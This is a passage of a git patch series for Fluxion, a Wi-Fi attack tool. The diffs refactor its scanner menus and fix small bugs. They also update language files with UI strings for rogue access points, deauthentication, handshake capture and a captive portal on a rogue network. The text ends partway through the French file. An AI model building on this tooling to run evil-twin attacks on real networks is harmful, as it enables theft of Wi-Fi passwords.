From fe35c9033ab2a8afa93bd8374b5193bb9b7f091d Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 15:17:18 -0500 Subject: [PATCH 1/9] Fixed hash name normalization bug, & scanner bug. Fixed a bug where custom hash names weren't being normalized on copy. Fixed a bug where scanner would go back to scan results rather than rescan. Also removed some stray break statements that were no longer necessary. --- fluxion.sh | 39 +++++++++++++++------------------------ 1 file changed, 15 insertions(+), 24 deletions(-) diff --git a/fluxion.sh b/fluxion.sh index e58f189..12d784b 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -610,33 +610,23 @@ function set_scanner() { if [ $FLUXIONAuto ];then run_scanner $WIMonitor else - while true; do - fluxion_header - - echo - echo -e "$FLUXIONVLine $header_choosescan" - echo - echo -e " $CRed[${CYel}1$CRed]$CClr $choosescan_option_1 " - echo -e " $CRed[${CYel}2$CRed]$CClr $choosescan_option_2 " - echo -e " $CRed[${CYel}3$CRed]$CRed $general_back $CClr " - echo - echo -ne "$FLUXIONPrompt" - read yn - echo - case $yn in - 1 ) run_scanner $WIMonitor; break ;; - 2 ) set_scanner_channel; break ;; - 3 ) unset_interface; return 1; break;; - esac - done + local choices=("$choosescan_option_1" "$choosescan_option_2" "$general_back") + io_query_choice "$header_choosescan" choices[@] + + case "$IOQueryChoice" in + "$choosescan_option_1") run_scanner $WIMonitor;; + "$choosescan_option_2") set_scanner_channel;; + "$general_back") unset_interface; return 1;; + esac fi + + if [ $? -ne 0 ]; then return 1; fi } # Choose your channel if you choose option 2 before function set_scanner_channel() { fluxion_header - echo echo -e "$FLUXIONVLine $header_choosescan" echo echo -e " $scanchan_option_1 ${CBlu}6$CClr " @@ -649,6 +639,7 @@ function set_scanner_channel() { read channels run_scanner $WIMonitor $channels + if [ $? -ne 0 ]; then return 1; fi } # Scans the entire network @@ -677,7 +668,7 @@ function run_scanner() { readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) # readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" if [ ${#TargetAPCandidates[@]} -eq 0 ]; then @@ -686,8 +677,8 @@ function run_scanner() { io_query_choice "Wireless card may not be supported (no APs found)" choices[@] case "$IOQueryChoice" in - "$general_back") return 1; break;; - "$general_exit") exitmode; return 2; break;; + "$general_back") return 1;; + "$general_exit") exitmode; return 2;; esac else sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" @@ -927,7 +918,7 @@ function set_hash() { done # Copy to workspace for operations. - cp "$APTargetHashPath" "$FLUXIONWorkspacePath/" + cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap" } ############################################# < ATAQUE > ############################################ From 13d40dec932ea0ce8c2a2891e76de7e7e652931f Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 16:25:26 -0500 Subject: [PATCH 2/9] Updated updater match regex & language files. --- fluxion.sh | 2 +- language/Deutsche.lang | 40 +++++++++++++++++++++----------- language/English.lang | 10 ++++---- language/Español.lang | 42 ++++++++++++++++++++++------------ language/Română.lang | 42 +++++++++++++++++++++++----------- language/Slovenščina.lang | 39 +++++++++++++++++++++++-------- language/Türk.lang | 42 +++++++++++++++++++++++----------- language/français.lang | 37 ++++++++++++++++++++++-------- language/italiano.lang | 42 +++++++++++++++++++++++----------- language/čeština.lang | 39 +++++++++++++++++++++++-------- language/Ελληνικά.lang | 39 +++++++++++++++++++++++-------- language/中文.lang | 39 +++++++++++++++++++++++-------- 12 files changed, 291 insertions(+), 122 deletions(-) diff --git a/fluxion.sh b/fluxion.sh index 12d784b..a1f1995 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -181,7 +181,7 @@ function conditional_bail() { # Check Updates function check_updates() { # Retrieve online versioning information - local FLUXIONOnlineInfo=("`timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" 2>/dev/null | egrep "^(FLUXIONVersion|FLUXIONRevision|version|revision)"`") + local FLUXIONOnlineInfo=("`timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" 2>/dev/null | egrep "^(FLUXIONVersion|FLUXIONRevision)"`") if [ -z "${FLUXIONOnlineInfo[@]}" ]; then FLUXIONOnlineInfo=("version=?\n" "revision=?\n") diff --git a/language/Deutsche.lang b/language/Deutsche.lang index cc3c5c6..d64bfde 100644 --- a/language/Deutsche.lang +++ b/language/Deutsche.lang @@ -13,34 +13,48 @@ scanchan_option_2="Mehrere Kanäle" header_scan="FLUXION Scanner" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Wähle deine Angriffsmethode aus" -askAP_option_1="Rogue AP - Hostapd ("$red"Empfohlen)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Empfohlen$CClr)" askAP_option_2="Rogue AP - airbase-ng (Langsame Verbindung)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="Methode zum Prüfen des Handshake" -askauth_option_1="Handshake ("$red"Empfohlen)" +askauth_option_1="Handshake (${CYel}Empfohlen$CClr)" askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -deauthMENU_option_2="Starte neu" +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Zurück" +general_back="${CRed}Zurück" general_exit="${CRed}Ausgang" general_repeat="${CRed}Wiederholen Sie den Vorgang" general_case_error="Unbekannte Option, wähle neu aus" general_error_1="Nicht gefunden" -general_error_2="Datei wurde ${red}nicht$transparent gefunden" -general_back="Zurück" general_exitmode="Aufräumen und schließen" general_exitmode_1="Deaktivierung des Monitor Interface" general_exitmode_2="Deaktivierung des Interface" -general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen" -general_exitmode_4="Säubere "$grey"iptables" -general_exitmode_5="Wiederherstellung von"$grey"tput" -general_exitmode_6="Neustarten des "$grey"Netzwerk Manager" +general_exitmode_3="Deaktivierung ${CGry}von weiterleiten von Paketen" +general_exitmode_4="Säubere ${CGry}iptables" +general_exitmode_5="Wiederherstellung von ${CGry}tput" +general_exitmode_6="Neustarten des ${CGry}Netzwerk Manager" general_exitmode_7="Wiederherstellung war erfolgreich" -general_exitmode_8="Vielen Dank für die Nutzung von Fluxion" +general_exitmode_8="Vielen Dank für die Nutzung von FLUXION" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Mit aktive Nutzer" -selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent" +selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/English.lang b/language/English.lang index 6acf195..3eb82c4 100644 --- a/language/English.lang +++ b/language/English.lang @@ -1,4 +1,5 @@ #!/bin/bash +# English header_setinterface="Select a wireless interface" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> @@ -12,11 +13,11 @@ scanchan_option_2="Multiple channels" header_scan="FLUXION Scanner" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Select an access point service" -askAP_option_1="Rogue AP - hostapd (${CYel}Recommended${CClr})" +askAP_option_1="Rogue AP - hostapd (${CYel}Recommended$CClr)" askAP_option_2="Rogue AP - airbase-ng (slow)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="Select a password verification method" -askauth_option_1="AP handshake verification (${CYel}Recommended${CClr})" +askauth_option_1="AP handshake verification (${CYel}Recommended$CClr)" askauth_option_2="AP wpa_supplicant authentication (slow)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DialogQueryHashSource="Select a method to retrieve the handshake" @@ -35,17 +36,14 @@ DialogQueryCaptivePortalInterface="Select a captive portal interface for the rog DialogOptionCaptivePortalGeneric="Generic Portal" DialogNoticeAttackInProgress="attack in progress..." DialogOptionSelectAnotherAttack="Select another attack" - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Select a wireless attack for the access point" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> general_back="${CRed}Back" general_exit="${CRed}Exit" general_repeat="${CRed}Repeat operation" -general_error_1="Not_Found" general_case_error="Unknown option. Choose again" +general_error_1="Not_Found" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling extra interfaces" diff --git a/language/Español.lang b/language/Español.lang index 2562202..47f6f2c 100644 --- a/language/Español.lang +++ b/language/Español.lang @@ -13,34 +13,48 @@ scanchan_option_2="Canales múltiples" header_scan="FLUXION Escáner" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Seleccione Opción de Ataque" -askAP_option_1="Rogue AP - Hostapd ("$red"Recomendado)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Recomendado$CClr)" askAP_option_2="Rogue AP - airbase-ng (Conexión más lenta)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA" -askauth_option_1="Handshake ("$red"Recomendado)" +askauth_option_1="Handshake (${CYel}Recomendado$CClr)" askauth_option_2="Wpa_supplicant(Más Fallas)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)" -handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar" +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Seleccione un ataque inalámbrico para el punto de acceso" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Atrás" +general_back="${CRed}Atrás" general_exit="${CRed}Salir" general_repeat="${CRed}Repetir la operación" -general_error_1="No_Encontrado" general_case_error="Opción desconocida. Elija de nuevo" +general_error_1="No_Encontrado" general_exitmode="Limpiando y cerrando" general_exitmode_1="Deshabilitando interfaz de monitoreo" general_exitmode_2="Deshabilitando interfaz" -general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes" -general_exitmode_4="Limpiando "$grey"iptables" -general_exitmode_5="Restaurando "$grey"tput" -general_exitmode_6="Reiniciando "$grey"Network-Manager" +general_exitmode_3="Deshabilitando ${CGry}reenvio de paquetes" +general_exitmode_4="Limpiando ${CGry}iptables" +general_exitmode_5="Restaurando ${CGry}tput" +general_exitmode_6="Reiniciando ${CGry}Network-Manager" general_exitmode_7="Limpieza realizada satisfactoriamente!" -general_exitmode_8="Gracias por usar fluxion" +general_exitmode_8="Gracias por usar FLUXION" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Clientes activos" -selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent" +selection_2="Seleccione objetivo. Para reescanear teclee$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/Română.lang b/language/Română.lang index 8501d56..32e4ccb 100644 --- a/language/Română.lang +++ b/language/Română.lang @@ -13,32 +13,48 @@ scanchan_option_2="Canale multiple" header_scan="FLUXION Scanner" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Selecteaza optiunea de atac" -askAP_option_1="Rogue AP - Hostapd ("$red"Recomandat)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Recomandat$CClr)" askAP_option_2="Rogue AP - airbase-ng (Conexiune mai lenta)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="METODA PENTRU VERIFICAREA PAROLEI" -askauth_option_1="Handshake ("$red"Recomandat)" +askauth_option_1="Handshake (${CYel}Recomandat$CClr)" askauth_option_2="Wpa_supplicant(Mai multe eșecuri)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)" -handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip" +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Selecteaza optiunea ta" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Inapoi" -general_error_1="Nu a fost gasit" +general_back="${CRed}Inapoi" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Optiune necunoscuta. Incearca din nou" +general_error_1="Nu a fost gasit" general_exitmode="Curatire si inchidere" general_exitmode_1="Dezacticati interfata monitorizata" general_exitmode_2="Dezactivati interfata" -general_exitmode_3="Dezactivati "$grey"forwarding of packets" -general_exitmode_4="Curatire "$grey"iptables" -general_exitmode_5="Restaurare "$grey"tput" -general_exitmode_6="Restartare "$grey"Network-Manager" +general_exitmode_3="Dezactivati ${CGry}forwarding of packets" +general_exitmode_4="Curatire ${CGry}iptables" +general_exitmode_5="Restaurare ${CGry}tput" +general_exitmode_6="Restartare ${CGry}Network-Manager" general_exitmode_7="Curatire efectuata cu succes!" general_exitmode_8="Multumesc pentru ca ati folosit fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Clienti activi" -selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent" +selection_2="Selecteaza tinta. Pentru rescanare tastati$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/Slovenščina.lang b/language/Slovenščina.lang index 87cd2f9..2dd5fb6 100644 --- a/language/Slovenščina.lang +++ b/language/Slovenščina.lang @@ -13,29 +13,48 @@ scanchan_option_2="Več kanalov" header_scan="WIFI Nadzor" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Izberite način napada" -askAP_option_1="Rogue AP - Hostapd ("$red"Priporočeno)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Priporočeno$CClr)" askAP_option_2="Rogue AP - airbase-ng (Počasnejša povezava)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="METODA PREVERITVE GESLA" -askauth_option_1="Handshake ("$red"Priporočeno)" +askauth_option_1="Handshake (${CYel}Priporočeno$CClr)" askauth_option_2="Wpa_supplicant(Slabša zanesljivost)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Izberi možnost" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Nazaj" -general_error_1="Ni_najdeno" +general_back="${CRed}Nazaj" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Nepoznana možnost, izberi ponovno!" +general_error_1="Ni_najdeno" general_exitmode="Čiščenje in zapiranje" general_exitmode_1="Onemogočanje nadzornega načina" general_exitmode_2="Onemogočanje vmesnika" -general_exitmode_3="Onemogočanje "$grey"posredovanja paketov" -general_exitmode_4="Čiščenje "$grey"iptables" -general_exitmode_5="Obnavljam "$grey"tput" -general_exitmode_6="Ponovno zaganjam "$grey"Network-Manager" +general_exitmode_3="Onemogočanje ${CGry}posredovanja paketov" +general_exitmode_4="Čiščenje ${CGry}iptables" +general_exitmode_5="Obnavljam ${CGry}tput" +general_exitmode_6="Ponovno zaganjam ${CGry}Network-Manager" general_exitmode_7="Čiščenje je bilo uspšno!" general_exitmode_8="Hvala ker uporabljaš fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Aktivnih odjemalcev" -selection_2="Izberite tarčo. Za ponovno skeniranje napisi $red r$transparent" +selection_2="Izberite tarčo. Za ponovno skeniranje napisi $CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/Türk.lang b/language/Türk.lang index 5e4d964..36ee95c 100644 --- a/language/Türk.lang +++ b/language/Türk.lang @@ -13,32 +13,48 @@ scanchan_option_2="Coklu Kanal" header_scan="Wifi Goruntule" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Saldiri Tipi Secin" -askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)" +askAP_option_1="SahteAP - Hostapd (${CYel}Tavsiye Edilen$CClr)" askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="Sifre Kontrol Metodu" -askauth_option_1="Handshake ("$red"Tavsiye Edilen)" +askauth_option_1="Handshake (${CYel}Tavsiye Edilen$CClr)" askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)" -handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin" +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Secenegi Sec" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Geri" -general_error_1="Bulunamadi" +general_back="${CRed}Geri" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Bilinmeyen Secenek. Tekrar Seciniz" +general_error_1="Bulunamadi" general_exitmode="Temizleniyor ve Kapatiliyor" general_exitmode_1="Monitor modu kapatiliyor" general_exitmode_2="Ag Arayuzu kapatiliyor" -general_exitmode_3="Kapatiliyor "$grey"forwarding of packets" -general_exitmode_4="Temizleniyor "$grey"iptables" -general_exitmode_5="Yenileniyor "$grey"tput" -general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager" +general_exitmode_3="Kapatiliyor ${CGry}forwarding of packets" +general_exitmode_4="Temizleniyor ${CGry}iptables" +general_exitmode_5="Yenileniyor ${CGry}tput" +general_exitmode_6="Tekrar Baslatiliyor ${CGry}Network-Manager" general_exitmode_7="Temizlik Basariyla Tamamlandi!" general_exitmode_8="Fluxion kullandiginiz icin tesekkurler." # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Aktif kullanicilar" -selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent" +selection_2="Tekrar taramak icin Hedef seciniz type$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/français.lang b/language/français.lang index 7df5ad5..c9c6cf5 100644 --- a/language/français.lang +++ b/language/français.lang @@ -13,31 +13,48 @@ scanchan_option_2="Plusieurs canaux" header_scan="FLUXION Scanner" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Sélectionnez une option d'attaque" -askAP_option_1="Rogue AP - Hostapd ("$red"Recommandé)" +askAP_option_1="Rogue AP - Hostapd (${CRed}Recommandé)" askAP_option_2="Rogue AP - airbase-ng (Connexion plus lente)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="METHODE DE VÉRIFICATION DU PASSWORD" -askauth_option_1="Handshake ("$red"Recommandé)" +askauth_option_1="Handshake (${CRed}Recommandé)" askauth_option_2="Wpa_supplicant (Plus d'échecs)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" 